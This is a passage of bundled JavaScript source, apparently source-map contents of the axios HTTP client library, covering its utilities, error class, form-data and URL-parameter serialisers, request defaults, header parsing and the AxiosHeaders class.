isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[toStringTag] === 'FormData' && thing[iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\n// original code\n// https://github.com/DigitalBrainJS/AxiosPromise/blob/16deab13710ec09779922131f3fa5954320f83ab/lib/utils.js#L11-L34\n\nconst _setImmediate = ((setImmediateSupported, postMessageSupported) => {\n if (setImmediateSupported) {\n return setImmediate;\n }\n\n return postMessageSupported ? ((token, callbacks) => {\n _global.addEventListener(\"message\", ({source, data}) => {\n if (source === _global && data === token) {\n callbacks.length && callbacks.shift()();\n }\n }, false);\n\n return (cb) => {\n callbacks.push(cb);\n _global.postMessage(token, \"*\");\n }\n })(`axios@${Math.random()}`, []) : (cb) => setTimeout(cb);\n})(\n typeof setImmediate === 'function',\n isFunction(_global.postMessage)\n);\n\nconst asap = typeof queueMicrotask !== 'undefined' ?\n queueMicrotask.bind(_global) : ( typeof process !== 'undefined' && process.nextTick || _setImmediate);\n\n// *********************\n\n\nconst isIterable = (thing) => thing != null && isFunction(thing[iterator]);\n\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable,\n setImmediate: _setImmediate,\n asap,\n isIterable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n if (response) {\n this.response = response;\n this.status = response.status ? response.status : null;\n }\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.status\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (utils.isBoolean(value)) {\n return value.toString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?(object|Function)} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n if (utils.isFunction(options)) {\n options = {\n serialize: options\n };\n } \n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n isBrowser: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\nconst _navigator = typeof navigator === 'object' && navigator || undefined;\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = hasBrowserEnv &&\n (!_navigator || ['ReactNative', 'NativeScript', 'NS'].indexOf(_navigator.product) < 0);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n _navigator as navigator,\n origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isObject(header) && utils.isIterable(header)) {\n let obj = {}, dest, key;\n for (const entry of header) {\n if (!utils.isArray(entry)) {\n throw TypeError('Object iterator must return a key-value pair');\n }\n\n obj[key = entry[0]] = (dest = obj[key]) ?\n (utils.isArray(dest) ? [...dest, entry[1]] : [dest, entry[1]]) : entry[1];\n }\n\n setHeaders(obj, valueOrRewrite)\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n getSetCookie() {\n return this.get(\"set-cookie\") || [];\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + 